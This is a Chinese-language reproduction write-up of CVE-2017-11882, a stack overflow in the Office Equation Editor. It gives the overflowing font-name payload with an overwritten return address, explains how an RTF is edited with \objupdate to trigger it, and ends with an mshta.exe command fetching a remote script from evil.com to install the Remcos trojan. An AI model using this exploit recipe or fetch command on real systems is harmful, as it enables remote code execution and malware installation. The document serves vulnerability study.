CVE-2017-11882漏洞复现
CVE-2017-11882漏洞复现
复现的第一个 CVE,漏洞点为较简单的栈溢出
漏洞成因
- office2016 之前的公式编辑器 EQNEDT21.EXE 存在缓冲区溢出
- EQNEDT21.EXE 组件在 2000 年后就没有更新过,不存在 ASLR 之类的保护,漏洞利用简单且危害性大
- font name 字段在 strcpy 的时候没有检测长度
漏洞分析

- MTEF header
Description | Size (byte) | Value | Comment |
---|---|---|---|
MTEF Version | 1 | 0x3 | MTEFv3 |
Generating Platform | 1 | 0x1 | Windows |
Generating Product | 1 | 0x1 | Equation Editor |
Product Version | 1 | 0x3 | |
Product Subversion | 1 | 0xa |
- MTEF records
Description | Size (byte) | Value | Comment |
---|---|---|---|
Tag | 1 | 0x8 | 0x8 denotes Font record |
Typeface Number | 1 | 0x5a | |
Style | 1 | 0x5a | |
Font Name | Variable, NULL terminated | “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 | Overflow and overwrite return address |
漏洞点

- 这里的 strcpy 没有检测 SubStr 的长度,如果 SubStr 长度够长就能够实现栈溢出,覆盖返回地址为任意地址
- 程序没有开启随机化保护,利用更加简单
- RTF 文件结构的分析可以使用 oletools
动态调试
为了让程序在启动时就附加调试需要修改注册表(为了调试 poc)
- win+r 输入 regedit
- 在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下找到需要调试的程序(没有的话可以新建项) - 新建字符串值,key 为 debugger,value 是调试器(这里是 windbg)所在路径
- 设置好之后启动程序(打开 exploit.rtf),调试器能够马上附加上

- 根据静态分析结果在 0x411658 处下断点,在第二次到达该断点时可以看到 exp 内容

- 在执行完这一条指令之后返回地址被覆盖,实现栈溢出
- 这里返回地址的内容是是
call ds:WinExec
,第一个参数是cmd.exe /c calc.exe
,第二个参数为 0,执行完之后会弹出计算器

WinExec:Runs the specified application.
nf-winbase-winexec
漏洞利用
- word 文档插入公式对象生成一个 ole 复合文档,更改 rtf 文件内容实现利用
找到输入的公式,如下图所示,更改上述提到的 MTEF header 让之后的内容成为
font
字段,修改字段内容实现利用(长度有限制)

修改完要执行的 shellcode 之后不要忘了在前面加上
\objupdate
,这样才能使得内容生效

- 以
Remcos
木马为例的远控木马
利用 mshta.exe 执行远程脚本,脚本可以利用 powershell 下载及执行木马
mshta.exe https//evil.com/evil
Ref
CVE-2017-11882漏洞复现